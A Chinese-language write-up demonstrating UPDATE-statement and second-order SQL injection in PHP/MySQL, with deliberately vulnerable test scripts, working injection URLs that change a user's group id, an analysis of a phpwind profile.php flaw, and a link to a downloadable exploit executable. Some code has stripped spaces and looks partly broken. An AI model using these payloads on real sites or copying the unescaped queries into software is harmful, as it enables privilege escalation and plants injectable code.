一.测试环境:
OS:Windowsxpsp2
php:php4.3.10(
mysql4.1.9
apache1.3.33
二.测试数据库结构:
-----start---
--数据库:`test`
--
----------------------------------------------------------
--
--表的结构`userinfo`
--
CREATETABLE`userinfo`(
`groudid`varchar(12)NOTNULLdefault’1’,
`user`varchar(12)NOTNULLdefault’heige’,
`pass`varchar(122)NOTNULLdefault’123456’
)ENGINE=MyISAMDEFAULTCHARSET=latin1;
--
--导出表中的数据`userinfo`
--
INSERTINTO`userinfo`VALUES(’2’,’heige’,’123456’);
------end-------
//test1.phpMod1 $servername='localhost'; $dbusername='root'; $dbpassword=''; $dbname='test'; mysql_connect($servername,$dbusername,$dbpassword)ordie('数据库连接失败'); $sql='updateuserinfosetpass=$pwhereuser=’heige’';//<--$P没有应用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo'SQLQuery:$sql
'; ?>
用户heige的groudid又2改为1了:)
所以我们可以得到没有’’或''update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或''[MOD2]
//test2.php
$servername='localhost';
$dbusername='root';
$dbpassword='';
$dbname='test';
mysql_connect($servername,$dbusername,$dbpassword)ordie('数据库连接失败');
$sql='updateuserinfosetpass=’$p’whereuser=’heige’';//<--$P应用单引号
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
echo'
SQLQuery:$sql
';
?>
为了封闭’我们结构$p应当为123456’,groudid=’2提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1在gpc=on的情况下’变成了\’
提交的语句变成:SQLQuery:updateuserinfosetpass=’123456\’,groudid=\’1’whereuser=’heige’
mysql查询: mysql>select*fromuserinfo;
--------- ------- --------------------
|groudid|user|pass|
--------- ------- --------------------
|2|heige|123456’,groudid=’1|
--------- ------- --------------------
1rowinset(0.00sec)
groudid并没有被修正。那么在变量被’’或''时就完整没有被注射呢?不是下面我们看模式2:
//test3.phpMod2
$servername='localhost';
$dbusername='root';
$dbpassword='';
$dbname='test';
mysql_connect($servername,$dbusername,$dbpassword)ordie('数据库连接失败');
$sql='updateuserinfosetpass=’$p’whereuser=’heige’';//<--$P应用单引号
$result=mysql_db_query($dbname,$sql);
mysql_fetch_array($result);//$p的数据写进数据库
$sql='selectpassfromuserinfowhereuser=’heige’';
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
echo$userinfo[0];//把pass查询输出给$userinfo[0]
$sql='updateuserinfosetpass=’$userinfo[0]’whereuser=’heige’';
$result=mysql_db_query($dbname,$sql);
mysql_fetch_array($result);//把$userinfo[0]再次update
?>
我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1
回mysql查询下: mysql>select*fromuserinfo;
--------- ------- --------
|groudid|user|pass|
--------- ------- --------
|1|heige|123456|
--------- ------- --------
漏洞分析:
update(profile.php注射变量为$proiconupdate语句里为,icon=’$userdb[icon]’)
|
v
select(jop.php)
|
v
updtate(jop.php)
Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe
五.叫谢
特别感谢saiy等朋友的讨论和帮助。Thanks!!!